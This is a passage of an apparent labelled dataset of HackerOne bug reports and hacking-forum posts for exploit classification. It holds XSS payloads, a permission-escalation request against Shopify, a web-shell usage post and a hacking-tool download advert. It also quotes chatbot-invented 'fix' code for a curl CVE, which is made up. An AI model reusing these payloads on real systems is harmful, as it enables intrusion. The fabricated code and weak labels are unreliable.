?0\nSec-Ch-Ua-Platform: \"Windows\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7\nConnection: close\n\n\n```\n████████\n\n## Suggested Mitigation/Remediation Actions\nPlease upgrade to the latest version.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2020-3187"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2894dc6d92490107f482", "text": "[Improper Access Control - Generic] Unauthorized access to Argo dashboard on █████\n\n##Summary \nHi team i hope you are well t is a pleasure to work in your program. I will begin to present the vulnerability that I found it: Unauthorized access to Argo dashboard \n\nAfter conducting an in-depth analysis, I have identified a security concern within the Argo deployment to which I have access. Specifically, I can manipulate workflows, including deletion and addition, as well as modify sensors. While the immediate impact is assessed as low, it is important to acknowledge that this vulnerability could potentially lead to unauthorized access and compromise sensitive data in future deployments. Urgent attention and corrective measures are advised to mitigate this risk and ensure the security of the system.\n\n##Steps\n\n Vulnerable subdomain :\n\n```\n1. https://████/\n```\n\n###Example POC:  https://█████/\n\n███\n███████\n███████\n\n## Impact\n\nLeads to information disclosure\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo to the webisite below:\nhttps://████████/workflows\n\n## Suggested Mitigation/Remediation Actions\nBlock access to dashboard", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5bfc3fd8ff631e3a34b", "text": "[Unknown] [h1-2102] Break permissions waterfall\n\n## Summary:\nShopify Plus User permission roles will propagate changes to all the users in the role\nIts possible to break this \nIf you pass FULL along with other Pemrissions into a user role edit\nIt will propagate to the users and give them full access while the role shows partial access\n\n## Steps To Reproduce:\n\n1. In Shopify Plus create a user role for a store and give it a handful of permissions\n2. Apply the role to a user\n3. Make a change to role and go back and you can see the change propagate to each of the users\nThis is true for adding permissions, taking away permissions, going Full access and back to Limited access\n\n5. Go back to the role\n6. Edit the permissions\n7. Turn on HTTP proxy\n8. Set Limited and select a few checkboxes\n9. Save\n10. Save\n11. Catch the Saving request (keep in Repeater) and alter the permissions array to contain the string FULL\n\n`\"permissions\":[\"DASHBOARD\",\"ORDERS\",\"GIFT_CARDS\",\"FULL\",\"REPORTS\",\"OVERVIEWS\"],`\n\n12. Both Role and User account will reflect the FULL access\n13. Alter the permissions array again with your Repeater request\nRemove FULL for some garbage data\n\n`\"permissions\":[\"DASHBOARD\",\"ORDERS\",\"GIFT_CARDS\",\"cheese\",\"REPORTS\",\"OVERVIEWS\"],`\n\n14. The Role will show that all users have limited access, but users will retain FULL access\n\n## Supporting Material/References:\n\n```\nPOST /34937697/users/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\ncontent-type: application/json\nx-csrf-token: axogyrLP-YZ_UCyd_o8tdASj_uGTLc1wIT3c\nx-plus-tracking: 28909bfe-8318-4a3a-bb66-d5a7643eca13, a2f06bd6-efaf-434c-a2be-13454e95417a, users\nOrigin: https://shopify.plus\nContent-Length: 695\nConnection: close\nCookie: ██████\nX-h1-2102: hogarth45\n\n{\"operationName\":\"UpdateRole\",\"variables\":{\"appHandles\":[],\"id\":\"Z2lkOi8vb3JnYW5pemF0aW9uL1JvbGUvNjc4Nw\",\"name\":\"waterfall\",\"shopAccess\":[{\"appPermissions\":[],\"permissions\":[\"DASHBOARD\",\"ORDERS\",\"GIFT_CARDS\",\"FULL\",\"REPORTS\",\"OVERVIEWS\"],\"shopId\":\"Z2lkOi8vb3JnYW5pemF0aW9uL1Nob3AvMzQ5NjYwMzM\"}]},\"query\":\"mutation UpdateRole($appHandles: [String!], $id: RoleID!, $name: String!, $shopAccess: [ShopAccessInput!]) {\\n  updateRole(appHandles: $appHandles, id: $id, name: $name, shopAccess: $shopAccess) {\\n    role {\\n      id\\n      name\\n      __typename\\n    }\\n    userErrors {\\n      message\\n      field\\n      __typename\\n    }\\n    message\\n    operationStatus\\n    __typename\\n  }\\n}\\n\"}\n```\n\n## Impact\n\nusers who should be limited by their role can have excessive permissions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e880183ba514aa74adba", "text": "[Information Disclosure] [Critical] Curl CVE-2023-38545 vulnerability code changes are disclosed on the internet\n\n## Summary:\nCurl CVE-2023-38545 vulnerability code changes are disclosed on the internet\n\n## Steps To Reproduce:\nTo replicate the issue, I have searched in the Bard about this vulnerability. It disclosed what this vulnerability is about, code changes made for this fix, who made these changes, commit details etc even though this information is not released yet on the internet. In addition to it, I was able to easily craft the exploit based on the information available. Remove this information from the internet ASAP!!!!\n\nVulnerability information:\n\nThe vulnerability is caused by an integer overflow in the curl_easy_setopt() function.\nThe vulnerability can be exploited by an attacker to execute arbitrary code on a vulnerable system.\nThe vulnerability is fixed in curl 8.4.0 and higher.\n\nCode fixes:\nThe following code changes fixed CVE-2023-38545 in curl:\n\nC\n/*\n * CVE-2023-38545: Integer overflow in curl_easy_setopt()\n *\n * This vulnerability could be exploited to cause a denial-of-service attack or\n * to execute arbitrary code on the victim's system.\n *\n * The following code changes fix this vulnerability by checking the value of the\n * timeout argument before passing it to the internal curl function.\n */\n\n#include \"curl.h\"\n\n/*\n * curl_easy_setopt()\n *\n * Sets an option value for a curl handle.\n *\n * @param handle The curl handle.\n * @param option The option to set.\n * @param param The value to set the option to.\n *\n * @return CURLE_OK on success, or a curl error code on failure.\n */\n\nCURLcode curl_easy_setopt(CURL *handle, CURLoption option, ...)\n{\n  va_list param;\n  CURLcode ret;\n\n  va_start(param, option);\n\n  switch (option) {\n    case CURLOPT_TIMEOUT: {\n      long timeout = va_arg(param, long);\n\n      /* Check for integer overflow. */\n      if (timeout < 0 || timeout > LONG_MAX) {\n        va_end(param);\n        return CURLE_BAD_FUNCTION_ARGUMENT;\n      }\n\n      ret = curl_easy_setopt_timeout(handle, timeout);\n      break;\n    }\n\n    default:\n      ret = curl_easy_setopt_custom(handle, option, param);\n      break;\n  }\n\n  va_end(param);\n\n  return ret;\n}\nUse code with caution. Learn more\nThese code changes were made in commit 9414975, which was released in curl version 8.4.0.\n\n\nWho made these changes and commit details:\nThe code changes to fix CVE-2023-38545 were made by Dxxxxl Sxxxxg, the maintainer of curl. The changes were made in commit 9414975, which was released in curl version 8.4.0.\n\nDxxxxl Sxxxxg is a Swedish computer programmer and the creator and maintainer of curl. He has been working on curl for over 20 years and is considered to be one of the leading experts on web transfer protocols.\n\n## Impact\n\nDisclosing undisclosed vulnerability code can have a number of negative implications, including:\n\nPutting users at risk. Once a vulnerability is disclosed publicly, attackers can start exploiting it. This can put users of the affected software at risk of data breaches, malware infections, and other attacks.\nDamaging the vendor's reputation. Vendors take pride in the security of their products and services. Disclosing a vulnerability publicly can damage the vendor's reputation and lead to lost customers.\nMaking it more difficult for the vendor to fix the vulnerability. If a vulnerability is disclosed publicly before the vendor has a chance to fix it, it can make it more difficult for the vendor to coordinate a patch release. This can leave users vulnerable to attacks for longer.\nEncouraging other attackers to find and disclose vulnerabilities. When attackers see that they can get attention and recognition by disclosing vulnerabilities, they are more likely to look for them. This can lead to an increase in the number of vulnerabilities that are disclosed publicly.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38545"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8c4cc8b197c6b51223c", "text": "[Cross-site Scripting (XSS) - Stored] Universal XSS with Playlist feature\n\n## Summary:\n\nBrave iOS has three weaknesses described below. By combining them, Universal XSS can be achieved.\n\n1. Exposure of UserScriptManager.securityToken\n[Playlist.js](https://github.com/brave/brave-ios/blob/fdff99ca3997816322015fe5efcd63490193b88d/Client/Frontend/UserContent/UserScripts/Playlist.js#L353) embeds the exact value of the `$<notifyNode>` into `HTMLVideoElement.prototype.setAttribute`. By reading the value, an attacker can retrieve the hidden security token.\n\n2. Exposure of UserScriptManager.messageHandlerToken\nAlso, [WindowRenderHelper.js](https://github.com/brave/brave-ios/blob/83eb41ac922d7bd18fd311e0a4279e02cdd8e190/Client/Frontend/UserContent/UserScripts/WindowRenderHelper.js#L12) embeds the exact value of the `$<handler>` into `W{securityToken}.postMessage`. By reading the value, an attacker can retrieve the hidden message handler token.\n\n3. UXSS in PlaylistHelper through nodeTag\n[PlaylistHelper.swift](https://github.com/brave/brave-ios/blob/83eb41ac922d7bd18fd311e0a4279e02cdd8e190/Client/Frontend/Browser/PlaylistHelper.swift#L228) concatenates strings to build a JavaScript code and executes it on the mainframe of a WebView. Then, `nodeTag` given from a webpage is directly included in the code. So, if the `nodeTag`, named as `tagId` in JS world, passed from the page contained `');alert(document.location);//`, unintended `alert()` is executed on the mainframe.\n\n## Products affected: \n\n * Brave iOS 1.32.3 and higher (include the latest Nightly)\n\n## Steps To Reproduce:\n\n * Visit the Google page: https://sites.google.com/view/nishimunea-brave-uxss1/page\n* This page contains a cross origin malicious page https://csrf.jp/brave/playlist.php in an iframe\n* The iframe exploits the above three weaknesses to send a message to playlistHelper\n* Push `Add to Brave Playlist` and `Open` button in the setting menu\n* An alert dialog is appear on the sites.google.com\n\n## Supporting Material/References:\n\n  * Demonstration movie is attached\n\n## Impact\n\n* Universal XSS on the arbitrary domains", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4138cc1d0bb900eed4f8", "text": "Three start point\n\nHi every one. Can i ask for the machine Three in start point is still alive. How i can use the command=id. I upload shell.php already but the url is not work for use cmd. I try 10 times but it is same problem. I do not have any idea for that. any one can help me plssssss!!! get /shell.php?command=id HTTP/1.1 response : HTTP/1.1 404 Not Found I had checked in aws in thetoppers.htb, there was shell.php aleady.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "94f3f29fa3fd208e2d0f", "text": "[Unknown] [Java] CWE-016: Query to detect insecure configuration of Spring Boot Actuator\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d16d0f0c086351ebca32", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on ██████.mil\n\n**Description:**\nWhile looking for *.mil, I found a website that is vulnerable to reflected XSS.\n\n## Impact\n\nAn attacker can use it to fetch cookies/tokens from any website which requires login by using a CORS bug if the site is vulnerable to CORS.\n\n## System Host(s)\n████.mil\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Go to this URL: https://███████████████████html\n2. On the search bar, write this payload. <script>alert(document.cookie)</script>\n3. & you'll see the pop-up.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "722039ed387801f23dfc", "text": "Thanks for both the question and the clarification. The question is incorrect in that it is asking for something other than what it wants. It asks for the address of EBP when it wants the value (pattern) within EBP. Other people have reported this and the question should really be fixed. An aside, IMHO, a better question would be to ask for the pattern offset of EBP. Determining the correct pattern offset implies the student knows both how to examine EBP’s value as well as apply other techniques outlined within the lesson. To be clear, I am really enjoying the module, and other modules in the path, but wanted to share my two cents on this.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-10-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5be8c025ec17ea05c9ef", "text": "[Information Disclosure] Private information exposed through GraphQL search endpoints aggregates\n\n**Summary:**\n\nPrivate information can be exposed using `aggs` argument on the `search` and `opportunities_search` endpoints on the GraphQL root node.  \n\n**Description:**\n\nWhen using the `aggs` argument and return field on the `search` and `opportunities_search` endpoints, the data returned in the `aggs` can potentially contain private information. It can for example be used to expose handles of private programs, and other data that can be aggregated by. \n \n### Steps To Reproduce\n\nSpecific example to expose private team handles, but other things can be exposed in the same way using this or other indexes on the `search` endpoint.\n\n1.  Open and run any GraphQL client, or modify an existing GraphQL request\n2.  Run a query with an aggregate for a field which could contain private information. The provided query can be tweaked to get more specific results.\n```\n# Write your query or mutation here\nquery {\n  me {\n    id\n  }\n  opportunities_search(query:{}, aggs:{results:{terms: {field:\"handle\"}}}) {\n    aggs\n  }\n}\n```\n\n3.  The output will show aggregations by the `handle` which are not filtered on whether they are private or not. \n\n```\n{\n  \"data\": {\n    \"me\": null,\n    \"opportunities_search\": {\n      \"aggs\": {\n        \"results\": {\n          \"doc_count_error_upper_bound\": 0,\n          \"sum_other_doc_count\": 37,\n          \"buckets\": [\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            },\n            {\n              \"key\": \"private\",\n              \"doc_count\": 1\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n```\n\n## Impact\n\nImpact depends on what information is stored in which index, and which fields can be aggregated by. In the current situation at least allows to expose asset information, handles and other information of teams you don't have access to.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9fdc11ff5a6e8abea89f", "text": "Am I supposed to be looking in the packet details tab for a username? I have filtered through different protocols and nothing looks obvious to me.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-09-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "08dab5fec57398fe01e3", "text": "[Unknown] Go : Add more JWT sinks\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ca1cb2bb3a767888dd3", "text": "SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains malware)\n\n846×558 125 KB Video: Download: HACKING CRACKING SECURITY SEO MARKETING MMO SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains... https://vimeo.com/746983244 Download Here VirusTotal Password Unrar is 1 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-09-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ded722b4da40d7ce3ac6", "text": "[Security Through Obscurity] Link-shortener bypass (regression on fix for #1032610)\n\nReport #1032610, entitled\n\n> Chained open redirects and use of Ideographic Full Stop defeat Twitter's approach to blocking links\n\nwas [closed as _Resolved _ about six months ago](https://hackerone.com/reports/1032610#activity-12095285).\n\nHowever, a regression on the fix for the vulnerability in question seems to have occurred, and the bug is reproducible with the exact same payload.\n\n## Impact\n\nRefer to [#1032610](https://hackerone.com/reports/1032610#user-content-impact).", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f092c1b684e1fcba212", "text": "here is the solution if none of the advice did not work. Make sure to delete “salt” in the #Variables tab. We will set the salt in the loop. Variables var=“9M” hash=“VTJGc2RHVmtYMTl2ZnYyNTdUeERVRnBtQWVGNmFWWVUySG1wTXNmRi9rQT0K” Base64 Encoding Example: $ echo “Some Text” | base64 ← For-Loop here for ((i = 0 ; i < 28 ; i++)); do echo “Try number $i” var=$(echo $var | base64) echo $var | wc -c salt=$(echo $var | wc -c) done", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4efab9686a3db48f9260", "text": "Hey dude, It sounds like you are going hella above and beyond for this challenge. You look to be in the right place, but you shouldn’t need all the advanced payloads that you are trying to use. Feel free to DM me and I will see if I can point you in a better direction. -onthesauce", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b99cade015d32d2b443", "text": "[Cross-site Scripting (XSS) - DOM] Cross Site Scripting Vulnerability in fabric-sdk-py source code\n\nSee this fix on GitHub \nhttps://github.com/hyperledger/fabric-sdk-py/pull/175\n\n## Impact\n\nSome old affected versions of this package are vulnerable to Cross-site Scripting (XSS). Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-17", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1fd03811663a1304085c", "text": "[Integer Overflow] Integer overflows in unescape_word()\n\n## Summary:\nA similiar issue to [CVE-2019-5435](https://hackerone.com/reports/547630)\n\n## Steps To Reproduce:\n### analysis\nDICT protocol can use one url like \"dict://localhost:3306\", and  function unescape_word() is used to deal with the character in url like this comment\n```c\n    /* According to RFC2229 section 2.2, these letters need to be escaped with\n       \\[letter] */\n      if((ch <= 32) || (ch == 127) ||\n          (ch == '\\'') || (ch == '\\\"') || (ch == '\\\\')) {\n        dictp[olen++] = '\\\\';\n      }\n```\n\nand the bug case here /curl/lib/dict.c\n\n```c\nstatic char *unescape_word(const char *inputbuff)\n{\n  char *newp = NULL;\n  char *dictp;\n  size_t len;\n\n  CURLcode result = Curl_urldecode(inputbuff, 0, &newp, &len,          <------------- get len\n                                   REJECT_NADA);\n  if(!newp || result)\n    return NULL;\n\n  dictp = malloc(len*2 + 1);    <------------ overflow here\n//.....\n}\n```\n\nIn my analysis(maybe wrong), the `inputbuff` in DICT url is \"dict:[inputbuff]\", for example \"//localhost:3306\" in  \"dict://localhost:3306\", and `len` is the length of `inputbuff`.\n\nAnd the length of `inputbuff` multiplied by 2 and then passed to malloc. This may lead to a integer overflow on a 32bit OS when the inputbuff is longer than 2GB\n\n`unescape_word` was called by dict_do(), If someone use libcurl to code, and call dict_do() with a extreme long url, it might be triggered.\n\n## Impact\n\nIt might leads to a crash or some other impact.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2019-5435"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aed84a361a209408d7db", "text": "[Unknown] If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposur\n\n## Summary:\n[Cookies are typically sent to third parties in cross-origin requests. This can be\nabused to do CSRF attacks. Recently a new cookie attribute named SameSite was\nproposed to disable third-party usage for some cookies, to prevent CSRF attacks.\nSame-site cookies allow servers to mitigate the risk of CSRF and information leakage\nattacks by asserting that a particular cookie should only be sent with requests\ninitiated from the same registrable domain.]\n\n## Platform(s) Affected:\n[website :-   This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens). \nTechnical Impact: Modify Application Data ]\n\n## Steps To Reproduce:\n[Go to website www.yelp.com/ and inspect the website and go application and cookie.  and check Sensitive Cookie with Improper SameSite Attribute.\n]\n\n  1. [Cookie \"myCookie\" rejected because it has the \"SameSite=None\" attribute but is missing the \"secure\" attribute.\n\nThis Set-Cookie was blocked because it had the \"SameSite=None\" attribute but did not have the \"Secure\" attribute, which is required in order to use \"SameSite=None\".]\n  2. [The server can set a same-site cookie by adding the SameSite=...attribute to the Set-Cookie\nheader. There are three possible values for the SameSite attribute:\n• Set-Cookie: key=value; SameSite=Lax\n• Set-Cookie: key=value; SameSite=Strict\n• Set-Cookie: key=value; SameSite=None; Secure]\n  \n\n## Supporting Material/References:\n[ https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite, https://owasp.org/www-community/SameSite, https://web.dev/samesite-cookies-explained/ (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nTechnical Impact: Modify Application Data\nIf the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a \"simple\" \"Content-Type\" header in the HTTP request and many more.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce62b170ed9efd588382", "text": "[Classic Buffer Overflow] Use of Unsafe function || Strcpy\n\n## Summary:\nIt was observed that application is using strcpy() function which may cause buffer overflow attacks.\n\n#Affected Code\nhttps://github.com/curl/curl\n\n# Affected Lines\n1. Line 195 of curl-master\\tests\\libtest\\stub_gssapi.c\n2. Line 204,212,216 curl-master\\tests\\server\\socksd.c\n\n## Steps To Reproduce:\nLets first discuss what is the issue with strcpy function. basically it takes 2 arguments 1 dst 2 source. the issue is if the dst size is small and the source size is more without a null terminating value so it will overwrite the memory. so in these case 1 got the several lines about strcpy function. but i'm discussing 1 with you rest with remain the same.\n\n        else if(!strcmp(key, \"backend\")) {\n          strcpy(config.addr, value);\n\n        else if(!strcmp(key, \"password\")) {\n          strcpy(config.password, value);\n\n  char addr[32]; /* backend IPv4 numerical */\n  char user[256];\n  char password[256];\n\nhere it is copying the value into config.addr and the size of addr is 32 and same goes for password is  256. now let suppose the value of value is more than 32 in case of add and in case of password it is more than 256. than it can be buffer overflow attack here. so here it will be secure if you use the functions like snprintf , strlcpy. or dynamically assign the size to the array.\n\n## Supporting Material/References:\nhttps://cwe.mitre.org/data/definitions/676.html\nhttps://www.geeksforgeeks.org/why-strcpy-and-strncpy-are-not-safe-to-use/\n\n# Recommendation:\nIt is recommended to use below mentioned functions to avoid buffer overflow attacks\n1. snprintf\n2. strlcpy\n\n  * [attachment / reference]\nPlease find the attached screenshots for your reference.\n\n## Impact\n\nThe strcpy() function does not specify the size of the destination array, so buffer overrun is often a risk. Using strcpy() function to copy a large character array into a smaller one is dangerous, but if the string will fit, then it will not be worth the risk. If the destination string is not large enough to store the source string then the behavior of strcpy() is unspecified or undefined.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e4ab46a5d65eb43734d", "text": "[Improper Certificate Validation] Undici ProxyAgent vulnerable to MITM\n\nFull GitHub advisory summarizing the issue is here: https://github.com/nodejs/undici/security/advisories/GHSA-pgw7-wx7w-2w33\nThe original Node.js HackerOne report is here: https://hackerone.com/bugs?report_id=1583680\n\nThis was fixed & disclosed in Undici v5.5.1.\n\nThis primarily affects Undici, a subproject under the Node.js umbrella, which is experimentally included as part of recent Node.js releases. This issue doesn't immediately affect standalone Node.js usage today due to the limited APIs initially exposed, but it does affect all usage of Node.js's new Fetch API with HTTP proxies (since Undici was required for that) and @mcollina in https://hackerone.com/bugs?report_id=1583680 who processed the Node.js security report said this should be eligible for a Node.js bounty.\n\n## Impact\n\nSee https://github.com/nodejs/undici/security/advisories/GHSA-pgw7-wx7w-2w33 for more details but in short: it allows for trivial MitM of all HTTPS traffic sent to a proxy with Undici's ProxyAgent API. In all cases the proxy can invisibly MitM 'secure' traffic, and in most cases everybody else on the network path can do so too.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "63015a75bb81cf3f4a7d", "text": "Thank you very much! It took a day to figure out your hint but I finally got it. Much appreciated. Looking back now, I can’t believe I struggled so much on this one.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3354371765b67d0b2d5", "text": "[Business Logic Errors] CVE-2022-32208: FTP-KRB bad message verification\n\nWhen curl does FTP transfers secured by krb5, it handles message verification failures wrongly. This flaw makes it possible for a Man-In-The-Middle attack to go unnoticed and even allows it to inject data to the client.\n\n## Impact\n\nLoss of integrity of FTP-KRB transfers", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-32208"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9fa5501359496cddfab", "text": "I’m still stuck. I’m not able to make out all the hints that people gave in here. I would really appreciate if anyone could give me somemore hints or can provide me any resources so that I could understand this topic well", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-05-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7f64bad893b924d83628", "text": "[Cross-site Scripting (XSS) - Generic] One Click XSS in [www.shopify.com]\n\n## Steps To Reproduce:\n\n  1. You need a web server, put {F1722320} to www\n  2. visit it: http://<host>:<port>/poc.html?x=${alert(1)}\n3. click it\n4. you will see the alert\n\n## Supporting Material:\n\n{F1722333}\n\n## Impact\n\nCookie Stealing - A malicious user can steal cookies and use them to gain access to the application.\nArbitrary requests - An attacker can use XSS to send requests that appear to be from the victim to the web server.\nMalware download - XSS can prompt the user to download malware. Since the prompt looks like a legitimate request from the\nsite, the user may be more likely to trust the request and actually install the malware.\nDefacement - attacker can deface the website usig javascript code.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d147c1e7e37c0f4757f2", "text": "[Resource Injection] XSS in Desktop Client via user status and information\n\n## Summary:\nThe `Nextcloud Desktop Client` application does not properly neutralize the `Full Name` and `Status Message` of users before using them.\n\n## Steps To Reproduce:\n\n### Server Machine:\n1. Install the `Nextcloud Server` application\n2. Log into your account\n3. Navigate to your profile page\n4. Set the `Full Name` of your user to `<img src=\"https://avatars.githubusercontent.com/u/99037623\">`\n5. Set the `Status Message` of your user to `<img src=\"https://avatars.githubusercontent.com/u/99037623\">`\n\n### Client Machine:\n6. Install the `Nextcloud Desktop Client` application onto a machine that is running the `Windows 10` operating system\n7. Log into your account\n8. Open the main dialog window of the `Nextcloud Desktop Client` application\n9. Observe that the `Full Name` and `Status Message` of your user are treated as `HyperText Markup Language`\n\n## Supporting Material/References:\n{F1945608}\n\n## Impact\n\nAn attacker can inject arbitrary `HyperText Markup Language` into the `Nextcloud Desktop Client` application.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
